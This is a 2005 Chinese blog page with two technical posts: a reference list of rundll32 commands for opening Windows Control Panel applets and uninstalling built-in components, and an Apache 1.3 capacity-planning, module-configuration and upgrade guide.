           winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 2', 9);
           {添加/刪除程序 屬性-啟動盤}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 3', 9);
           {顯示 屬性-背景}
           winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 0', 9); 
           {顯示 屬性-屏幕保護程序}
           winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 1', 9);
           {顯示 屬性-外觀}
           winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 2', 9);
           {顯示 屬性-設置}
           winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 3', 9);
           {Internet 屬性-常規}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 0', 9);
           {Internet 屬性-安全}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 1', 9);
           {Internet 屬性-內容}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 2', 9);
           {Internet 屬性-連接}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 3', 9);
           {Internet 屬性-程序}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 4', 9);
           {Internet 屬性-高級}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 5', 9);
           {區域設置 屬性-區域設置}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 0', 9);
           {區域設置 屬性-數字}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 1', 9);
           {區域設置 屬性-貨幣}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 2', 9);
           {區域設置 屬性-時間}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 3', 9);
           {區域設置 屬性-日期}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 4', 9);
           
           winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 0', 9);
           
           winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 1', 9);
           {鼠標 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Main.cpl', 9);
           {多媒體 屬性-音頻}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 0', 9);
           {多媒體 屬性-視頻}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 1', 9);
           {多媒體 屬性-MIDI}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 2', 9);
           {多媒體 屬性-CD音樂}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 3', 9);
           {多媒體 屬性-設備}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 4', 9);
           {調制解調器 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Modem.cpl', 9);
           
           winexec('rundll32.exe shell32.dll, Control_RunDLL Netcpl.cpl', 9);
           {密碼 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Password.cpl', 9);
           {掃描儀與數字相機 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Sticpl.cpl', 9);
           {系統 屬性-常規}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 0', 9);
           {系統 屬性-設備管理器}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 1', 9);
           {系統 屬性-硬件配置文件}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 2', 9);
           {系統 屬性-性能}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 3', 9);
           {日期/時間 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL timedate.cpl', 9);
           {電源管理 屬性}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Powercfg.cpl', 9);
           
           winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
          關于調用后的判斷處理建議:
          先聲明一個cardinal類型的變量RtnCardinal獲取返回值進行判斷如:
          RtnCardinal := winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
           返回值 可能原因
           0 程序超出內存 
          ERROR_BAD_FORMAT 程序為一個非法的Win32.EXE程序
          ERROR_FILE_NOT_FOUND 指定文件沒找到 
          ERROR_PATH_NOT_FOUND 指定路徑沒找到

          使用方法:
          點擊“開始-程式-Ms-Dos方式”,進入Dos視窗,然後鍵入"rundll32.exe user.exe,restartwindows",再按下回車鍵,這時你將看到,機器被重啟了!怎么樣,是不是很有趣?
            當然,Rundll的功能絕不僅僅是重啟你的機器。其實,Rundll者,顧名思義,執行Dll也,它的功能就是以命令列的方式呼叫Windows的動態鏈結庫,Rundll32.exe與Rundll.exe的區別就在於前者是呼叫32位的鏈結庫,而後者是運用於16位的鏈結庫,它們的命令格式是:
            RUNDLL.EXE ,,
            這里要注意三點:1.Dll檔案名中不能含有空格,比如該檔案位於c:/Program Files/目錄,你要把這個路徑改成c:/Progra~1/;2.Dll檔案名與Dll入口點間的逗號不能少,否則程式將出錯并且不會給出任何資訊!3.這是最重要的一點:Rundll不能用來呼叫含返回值參數的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一條執行外部程式的指令Shell,格式為:
            Shell “命令列”
            如果能配合Rundll32.exe用好Shell指令,會使您的VB程式擁有用其他方法難以甚至無法實現的效果:仍以重啟為例,傳統的方法需要你在VB工程中先建立一個模組,然後寫入WinAPI的聲明,最後才能在程式中呼叫。而現在只需一句:
            Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
            實際上,Rundll32.exe在呼叫各種Windows控制面板和系統選項方面有著獨特的優勢。下面,我就將本人在因特網上收集的有關Rundll的指令列舉如下(很有用的,能省去你很多呼叫Windows API的時間!!),供大家在程式設計中引用:
            命令列: rundll32.exe shell32.dll,Control_RunDLL
            功能: 顯示控制面板
            命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
            功能: 顯示“控制面板-輔助選項-鍵盤”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
            功能: 顯示“控制面板-輔助選項-聲音”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
            功能: 顯示“控制面板-輔助選項-顯示”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
            功能: 顯示“控制面板-輔助選項-滑鼠”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
            功能: 顯示“控制面板-輔助選項-傳統”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
            功能: 執行“控制面板-添加新硬體”向導。
            命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
            功能: 執行“控制面板-添加新印表機”向導。
            命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
            功能: 顯示 “控制面板-添加/刪除程式-安裝/卸載” 面板。
            命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
            功能: 顯示 “控制面板-添加/刪除程式-安裝Windows” 面板。
            命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
            功能: 顯示 “控制面板-添加/刪除程式-啟動盤” 面板。
            命令列: rundll32.exe syncui.dll,Briefcase_Create
            功能: 在桌面上建立一個新的“我的公文包”。
            命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
            功能: 顯示復制軟碟視窗
            命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
            功能: 顯示“建立快捷方式”的對話框,所建立的快捷方式的位置由%1參數決定。
            命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
            功能: 顯示“日期與時間”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
            功能: 顯示“時區”選項視窗。
            命令列: rundll32.exe rnaui.dll,RnaDial [某個撥號連接的名稱]
            功能: 顯示某個撥號連接的撥號視窗。如果已經撥號連接,則顯示目前的連接狀態的視窗。
            命令列: rundll32.exe rnaui.dll,RnaWizard
            功能: 顯示“新建撥號連接”向導的視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
            功能: 顯示“顯示屬性-背景”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
            功能: 顯示“顯示屬性-螢屏保護”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
            功能: 顯示“顯示屬性-外觀”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
            功能: 顯示顯示“顯示屬性-屬性”選項視窗。
            命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
            功能: 顯示Windows的“字體”檔案夾。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
            功能: 同樣是顯示Windows的“字體”檔案夾。
            命令列: rundll32.exe shell32.dll,SHformatDrive
            功能: 顯示格式化軟碟對話框。
            命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
            功能: 顯示“控制面板-游戲控制器-一般”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
            功能: 顯示“控制面板-游戲控制器-進階”選項視窗。
            命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文檔)
            功能: 列印HTML文檔。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
            功能: 顯示Microsoft Exchange一般選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
            功能: 顯示“控制面板-滑鼠” 選項 。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
            功能: 顯示 “控制面板-鍵盤屬性-速度”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
            功能: 顯示 “控制面板-鍵盤屬性-語言”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
            功能: 顯示Windows“印表機”檔案夾。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
            功能: 顯示Windows“字體”檔案夾。
            命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
            功能: 顯示“控制面板-輸入法屬性-輸入法”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
            功能: 執行“添加新調制解調器”向導。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
            功能: 顯示“控制面板-多媒體屬性-音頻”屬性頁。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
            功能: 顯示“控制面板-多媒體屬性-視頻”屬性頁。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
            功能: 顯示“控制面板-多媒體屬性-MIDI”屬性頁。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
            功能: 顯示“控制面板-多媒體屬性-CD音樂”屬性頁。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
            功能: 顯示“控制面板-多媒體屬性-設備”屬性頁。
            命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
            功能: 顯示“控制面板-聲音”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
            功能: 顯示“控制面板-網路”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
            功能: 顯示ODBC32資料管理選項視窗。
            命令列: rundll32.exe shell32.dll,OpenAs_RunDLL
          功能: 顯示指定檔案(drive:/path/filename)的“打開方式”對話框。
            命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
            功能: 顯示“控制面板-密碼”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
            功能: 顯示“控制面板-電源管理屬性”選項視窗。
            命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder
            功能: 顯示Windows“印表機”檔案夾。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)
            命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
            功能: 顯示“控制面板-區域設置屬性-區域設置”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
            功能: 顯示“控制面板-區域設置屬性-數字”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
            功能: 顯示“控制面板-區域設置屬性-貨幣”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
            功能: 顯示“控制面板-區域設置屬性-時間”選項視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
            功能: 顯示“控制面板-區域設置屬性-日期”選項視窗。
            命令列: rundll32.exe desk.cpl,InstallScreenSaver [螢屏保護檔案名]
            功能: 將指定的螢屏保護檔案設置為Windows的屏保,并顯示螢屏保護屬性視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
            功能: 顯示“控制面板-系統屬性-傳統”屬性視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
            功能: 顯示“控制面板-系統屬性-設備管理器”屬性視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
            功能: 顯示“控制面板-系統屬性-硬體配置檔案”屬性視窗。
            命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
            功能: 顯示“控制面板-系統屬性-性能”屬性視窗。
            命令列: rundll32.exe user.exe,restartwindows
            功能: 強行關閉所有程式并重啟機器。
            命令列: rundll32.exe user.exe,exitwindows
            功能: 強行關閉所有程式并關機。
            命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
            功能: 顯示“撥號屬性”選項視窗
            命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
            功能: 顯示“桌面主旨”選項面板
            當然,不止是VisualBasic,象Delphi.VisualC++等其他程式設計語言也可以通過呼叫外部命令的方法來使用Rundll的這些功能,具體方法這里就不再詳細敘述了。靈活的使用Rundll,一定會使你的程式設計輕輕松松,達到事半功倍的效果!

          巧用Rundll32安裝和卸載Windows程序
            在Windows系統中安裝和卸載程序是件非常容易的事情,一般用戶通過安裝和卸載程序向導就能很輕松地完成。但安裝和卸載Windows程序還有些鮮為人知的小技巧,使用Rundll32命令安裝和卸載Windows程序就是其中之一,可能你從來還沒接觸過,下面我們就一起領略它的神奇功能吧!

            提示:Rundll32.exe是 Windows系統提供的一個命令,
          它用來調用32位的DLL函數(16位的DLL文件用Rundll.exe來調用。DLL文件是Windows的基礎,所有的API函數都是在DLL中實現的,它不能獨立運行,一般由進程加載并調用,運行DLL文件最簡單的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 動態鏈接庫名 函數名 參數名”。

            1.卸載微軟Java虛擬機

            在Windows系統中,要想IE瀏覽器執行包含Java小程序的網頁,必須安裝微軟Java虛擬機(MSJVM),Windows 98/2000已經捆綁了MSJVM,Windows XP/2003中雖然已經剝離了微軟Java虛擬機,但還是可以手工安裝。不過,有個現實我們不得不面對:由于微軟和SUN公司的明爭暗斗,微軟已經停止對MSJVM的開發,因此很多用戶改用SUN公司提供的Java虛擬機。但微軟沒有提供MSJVM的卸載工具,使用Rundll32命令,我們可以輕松卸載MSJVM。

            單擊“開始→運行”命令,在“運行”對話框中輸入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回車后系統會打開“Microsoft VM uninstall”對話框,單擊“是(Y)”按鈕后,系統就會開始卸載微軟Java虛擬機,卸載完成后需要重新啟動系統。

            接下來刪除“%systemroot%”(即Windows的安裝目錄,Windows 2000系統為 Winnt目錄,Windows XP/2003為Windows目錄)下的Java文件夾;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打開注冊表編輯器,依次展開[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,刪除這兩個分支下的所有子鍵。

            提示:以上方法不適用Windows 98系統。

            2.重新安裝Windows XP自帶的IE6.0

            Windows系統的IE瀏覽器漏洞很多,最容易出現問題。有時無法解決,就只能重新安裝了。使用Rundll32命令可以很輕松地完成重新安裝工作。我們以重新安裝Windows XP中的IE6.0為例:

            首先將Windows XP光盤插入光驅,然后單擊“開始→運行”命令,在“運行”對話框中輸入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回車后系統會打開安裝進程對話框,開始重新安裝IE6.0。

            提示:如果你的Windows XP系統不是安裝在C盤,請將 “C\Windows\Inf\Ie.inf” 修改為“%systemroot%\inf\ie.inf”。

            3.卸載Windows Messenger

            卸載Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比較復雜,使用Rundll32命令能很輕松完成卸載:

            首先要確保已經關閉了Outlook和IE等Windows自帶的組件,然后單擊“開始→運行”,在“運行”對話框中輸入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回車后系統會打開一個卸載對話框,單擊“是(Y)”按鈕后,系統就開始卸載Windows Messenger 程序。

            以上只是簡單介紹如何使用Rundll32命令卸載和安裝Windows程序的幾個實例,還有很多Windows程序的安裝和卸載可以使用此方法,就不再詳細介紹了,請大家慢慢體會。

          轉載(http://blog.china-pub.com/more.asp?name=anstan&id=11612)
          posted @ 2005-07-08 12:21 一天一點愛戀 閱讀(184) | 評論 (0)編輯 收藏
           
          從簡化安裝==>性能調優==>方便維護的角度,討論WEB服務的規劃==>HTTPD安裝/應用模塊配置==>升級/維護等過程。
          讓APACHE的升級和PHP RESIN等應用模塊的升級完全互不影響。

          摘要:

          WEB應用容量規劃:根據硬件配置和WEB應用的特點進行WEB服務的規劃及一些簡單的估算公式;
          APACHE安裝過程:apache的通用的簡化安裝選項,方便以后的應用的模塊化配置;
          修改 HARD_SERVER_LIMIT:
          vi /path/to/apache_src/src/include/httpd.h
          #define HARD_SERVER_LIMIT 2560 <===將原來的 HARD_SERVER_LIMIT 256 后面加個“0”
          apache編譯:
          /path/to/apache_src/configure --prefix=/another_driver/apache --enable-shared=max --enable-module=most
          可選應用模塊/工具的安裝:php resin mod_gzip mod_expire及各個模塊之間的配合;
          PHP安裝:
          /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --enable-track-vars --with-other-modules-you-need
          mod_resin安裝:
          /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs
          Mod_gzip安裝:
          /path/to/apache/bin/apxs -i -a -c mod_gzip.c
          工具:cronolog安裝:http://www.cronolog.org
          升級/維護:看看通用和模塊化的安裝過程如何簡化了日常的升級/維護工作;
          按照以上的方法:系統管理員和應用管理員的職責可以清楚的分開,互相獨立。
          系統安裝:系統管理員的職責就是安裝系統=>安裝好一臺可以適應任何情況的APACHE,然后COLON,
          應用安裝:由應用管理員負責具體應用所需要的模塊并設置HTTPD。
          系統升級:系統管理員:升級系統/升級APACHE
          應用升級:系統管理員:升級應用模塊
          具體的說明:

          WEB應用的容量規劃

          APACHE主要是一個內存消耗型的服務應用,我個人總結的經驗公式:
          apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2
          apache_max_process = apache_max_process_with_good_perfermance * 1.5

          為什么會有一個apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低負載下系統可以使用更多的內存用于文件系統的緩存,從而進一步提高單個請求的響應速度。在高負載下,系統的單個請求響應速度會慢不少,而超過apache_max_process,系統會因為開始使用硬盤做虛擬內存交換空間而導致系統崩潰。此外,同樣的服務:2G內存的機器的apache_max_process一般只設置到1G內存的1.7倍,因為APACHE本身會因為管理更多的進程而產生性能下降。

          例子1:
          一個apache + mod_php的服務器:一個apache進程一般需要4M內存
          因此在一個1G內存的機器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500
          apache_max_process = 500 * 1.5 = 750
          所以規劃你的應用讓服務盡量跑在500個APACHE以下,并設置APACHE的軟上限在800個。

          例子2:
          一個apache + mod_resin的服務器: 一個apache進程一般需要2M內存
          在一個2G內存的機器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000
          因此:apache_max_process = 2000 * 1.5 = 3000

          以上估算都是按小文件服務估算的(一個請求一般大小在20k以下)。對于文件下載類型站點,可能還會受其他因素:比如帶寬等的影響。

          APACHE安裝過程

          服務器個數的硬上限HARD_SERVER_LIMIT的修改:
          在FREEBSD和LINUX等UNIX操作系統下APACHE缺省的最大進程數是256個,需要修改apache_1.3.xx/src/include/httpd.h
          #ifndef HARD_SERVER_LIMIT
          #ifdef WIN32
          #define HARD_SERVER_LIMIT 1024
          #elif defined(NETWARE)
          #define HARD_SERVER_LIMIT 2048
          #else
          #define HARD_SERVER_LIMIT 2560 <===將原來的HARD_SERVER_LIMIT 256 后面加個“0”
          #endif
          #endif

          解釋:
          APACHE缺省的最大用戶數是256個:這個配置對于服務器內存還是256M左右的時代是一個非常好的缺省設置,但隨著內存成本的急劇下降,現在大型站點的服務器內存配置一般比當時要高一個數量級不止。所以256個進程的硬限制對于一臺1G內存的機器來說是太浪費了,而且APACHE的軟上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服務器內存大于256M,都應該調高APACHE的HARD_SERVER_LIMIT。根據個人的經驗:2560已經可以滿足大部分小于2G內存的服務器的容量規劃了(APACHE的軟上限的規劃請看后面)。

          APACHE的編譯:通用的編譯選項能使安裝過程標準化
          ./configure --prefix=/another_driver/apache/ --enable-shared=max --enable-module=most

          解釋:
          --prefix=/another_driver/apache/: 一個系統使用壽命最低的一般就是硬盤,因此:將服務數據和系統完全分開,不僅能提高了數據的訪問速度,更重要的,大大方便系統升級,備份和恢復。

          --shared-module=max:使用動態加載方式會帶來5%的性能下降,但和帶來的好處相比更本不算什么:比如模塊升級方便,系統升級風險降低,安裝過程標準化

          --enable-module=most:用most可以將一些不常用的module編譯進來,比如后面講到的mod_expire是就不在apache的缺省常用模塊中

          如果不想build so, 也可以這樣:
          ./configure \
          "--with-layout=Apache" \
          "--prefix=/path/to/apache" \
          "--disable-module=access" \
          "--disable-module=actions" \
          "--disable-module=autoindex" \
          "--disable-module=env" \
          "--disable-module=imap" \
          "--disable-module=negotiation" \
          "--disable-module=setenvif" \
          "--disable-module=status" \
          "--disable-module=userdir" \
          "--disable-module=cgi" \
          "--disable-module=include" \
          "--disable-module=auth" \
          "--disable-module=asis"

          但結果會發現,這樣編譯對服務性能只能有微小的提高(5%左右),但卻失去了以后系統升級和模塊升級的靈活性,無論是模塊還是APACHE本身升級都必須把所有SOURCE加在一起重新編譯。

          apache的缺省配置文件一般比較大:我們可以使用去掉注釋的方法精簡一下:然后再進入具體的培植過程能讓你更快的定制出你所需要的。
          grep -v "#" httpd.conf.default >httpd.conf

          需要修改的通用項目有以下幾個:

          #服務端口,缺省是8080,建議將整個APACHE配置調整好后再將服務端口改到正式服務的端口
          Port 8080 => 80

          #服務器名:缺省沒有
          ServerName name.example.com

          #最大服務進程數:根據服務容量預測設置
          MaxClients 256 => 800

          #缺省啟動服務后的服務進程數:等服務比較平穩后,按平均負載下的httpd個數設置就可以
          StartServers 5 => 200

          不要修改:
          以前有建議說修改:
          MinSpareServers 5 => 100
          MaxSpareServers 10 => 200

          但從我的經驗看來:缺省值已經是非常優化的了,而且讓APACHE自己調整進程個數還是比較好的。

          特別修改:
          在solaris或一些比較容易出現內存泄露的應用上:
          MaxRequestsPerChild 0 =>3000

          應用模塊和工具的安裝配置:

          由于使用模塊動態加載的模式,所以可以方便的通過簡單的配置調整來把APACHE定制成你需要的:最好把不常用模塊全部清除(無論處于安全還是效率)。
          比如:對于靜態頁面服務器:就什么模塊都不加載,對于PHP應用就加上PHP模塊,對于JAVA應用就把RESIN模塊加載上。而且各種模塊的插拔非常簡單。


          一般說來,可以不需要的模塊包括:
          #LoadModule env_module libexec/mod_env.so
          #LoadModule negotiation_module libexec/mod_negotiation.so
          #LoadModule status_module libexec/mod_status.so
          #server side include已經過時了
          #LoadModule includes_module libexec/mod_include.so
          #不需要將沒有缺省index文件的目錄下所有文件列出
          #LoadModule autoindex_module libexec/mod_autoindex.so
          #盡量不使用CGI:一直是APACHE安全問題最多的地方
          #LoadModule cgi_module libexec/mod_cgi.so
          #LoadModule asis_module libexec/mod_asis.so
          #LoadModule imap_module libexec/mod_imap.so
          #LoadModule action_module libexec/mod_actions.so
          #不使用安全校驗可以大大提高訪問速度
          #LoadModule access_module libexec/mod_access.so
          #LoadModule auth_module libexec/mod_auth.so
          #LoadModule setenvif_module libexec/mod_setenvif.so

          最好保留的有:
          #用于定制log格式
          LoadModule config_log_module libexec/mod_log_config.so
          #用于增加文件應用的關聯
          LoadModule mime_module libexec/mod_mime.so
          #用于缺省index文件:index.php等
          LoadModule dir_module libexec/mod_dir.so

          可用可不用的有:
          #比如:需要在~/username/下調試php可以將
          LoadModule userdir_module libexec/mod_userdir.so
          #比如:需要將以前的URL進行轉向或者需要使用CGI script-alias
          LoadModule alias_module libexec/mod_alias.so


          常用的模塊:
          最常用的可能就是php和JAVA WEB應用的wrapper,此外,從性能上講:mod_gzip可以減少40%左右的流量,從而減少機器用于傳輸的負載,而mod_expires可以減少10%左右的重復請求,讓重復的用戶請求CACHE在本地,根本不向服務器發出請求。

          建議將所有MODULE的配置都放到

          PHP的安裝:
          /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --with-other-modules-you-need
          需要修改的配置:
          AddType application/x-httpd-php .php .php3 .any_file_in_php

          resin的安裝設置:
          /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs

          一般將具體的resin設置放在另外一個文件中:
          <IfModule mod_caucho.c>
          CauchoConfigFile /path/to/apache/conf/resin.conf
          </IfModule>

          mod_expires的安裝配置:
          <IfModule mod_expires.c>
          ExpiresActive on
          #所有的.gif文件1個月以后過期
          ExpiresByType image/gif "access plus 1 month"
          #所有的文件缺省1天以后過期
          ExpiresDefault "now plus 1 day"
          </IfModule>

          mod_gzip的安裝:
          /path/to/apache/bin/apxs -i -a -c mod_gzip.c


          mod_gzip和PHP在一起的配置
          <IfModule mod_gzip.c>
          mod_gzip_on Yes
          mod_gzip_minimum_file_size 1000
          mod_gzip_maximum_file_size 300000
          mod_gzip_item_include file \.htm$
          mod_gzip_item_include file \.html$
          mod_gzip_item_include file \.php$
          mod_gzip_item_include file \.php3$
          mod_gzip_item_include mime text/.*
          mod_gzip_item_include mime httpd/unix-directory
          #不要讓mod_gzip和php的session使用同一個臨時目錄:php_session需要通過php.ini設置session.save_path = /tmp/php_sess
          mod_gzip_temp_dir /tmp/mod_gzip
          mod_gzip_dechunk Yes
          mod_gzip_keep_workfiles No
          </IfModule>
          mod_gzip和mod_php的配合:不要讓mod_gzip和mod_php使用同一個臨時目錄;

          mod_gzip和RESIN配合:要讓mod_gzip在mod_caucho后LOAD,否則mod_gzip不起作用
          ...othr modules
          AddModule mod_so.c
          AddModule mod_caucho.c
          #notice: mod_gzip must load after mod_caucho
          AddModule mod_gzip.c
          AddModule mod_expires.c
          ...

          <IFModule mod_gzip.c>
          mod_gzip_on Yes
          mod_gzip_dechunk yes
          mod_gzip_keep_workfiles No
          mod_gzip_minimum_file_size 3000
          mod_gzip_maximum_file_size 300000
          mod_gzip_item_include file \.html$
          mod_gzip_item_include mime text/.*
          mod_gzip_item_include mime httpd/unix-directory
          mod_gzip_item_include handler 'caucho-request'
          </IFModule>

          日志輪循工具cronolog的安裝和設置:cronolog可以非常整齊的將日志按天輪循存儲
          缺省編譯安裝到/usr/local/bin/下,只需要將配置改成:

          CustomLog "|/usr/local/sbin/cronolog /path/to/apache/logs/%w/access_log" combined

          日志將按天截斷并存放在以weekday為目錄名的目錄下:比如:log/1是周一,log/5是周五, log/0是周日

          升級維護:

          由于使用標準化的DSO模式安裝APACHE,APACHE的HTTPD核心服務和應用模塊以及應用模塊之間都變的非常靈活,建議將所有獨立模塊的配置都放在
          <IfModule mod_name>
          CONFIGURATIONS..
          </IfModule>
          里,這樣配置非常容易通過屏蔽某個模塊來進行功能調整:比如:
          #AddModule mod_gzip.c
          就屏蔽了mod_gzip,其他模塊不首任何影響。

          安裝和維護過程:

          系統安裝:系統管理員的職責就是安裝系統和一個可以適應任何情況的APACHE,然后COLON。
          應用安裝:由應用管理員負責具體應用所需要的模塊并設置HTTPD。
          系統升級:系統管理員:升級系統/升級APACHE
          應用升級:應用管理員:升級應用模塊
          系統備份/恢復:如果APACHE不在缺省的系統盤上,只需要將APACHE目錄備份就可以了,遇到系統分區的硬件問題直接使用預先準備好的系統COLON,直接將APACHE所在物理盤恢復就行了。
          系統管理員:APACHE的最簡化安裝 OS + APACHE(httpd core only)
          應用管理員:應用模塊定制   +so
          +php
          +so
          +caucho
          +ssl
          應用: 純靜態頁面服務:
          image.example.com
          www.example.com bbs.example.com mall.example.com

           

          參考文檔:

          Apache
          http://httpd.apache.org

          php
          http://www.php.net

          Resin
          http://www.caucho.com

          mod_gzip
          http://www.remotecommunications.com/apache/mod_gzip/

          Cronolog
          http://www.cronolog.org

          mod_expires
          http://httpd.apache.org/docs/mod/mod_expires.html
          posted @ 2005-07-07 18:07 一天一點愛戀 閱讀(180) | 評論 (0)編輯 收藏
          僅列出標題
          共8頁: 上一頁 1 2 3 4 5 6 7 8 下一頁 
           
          Copyright © 一天一點愛戀 Powered by: 博客園 模板提供:滬江博客
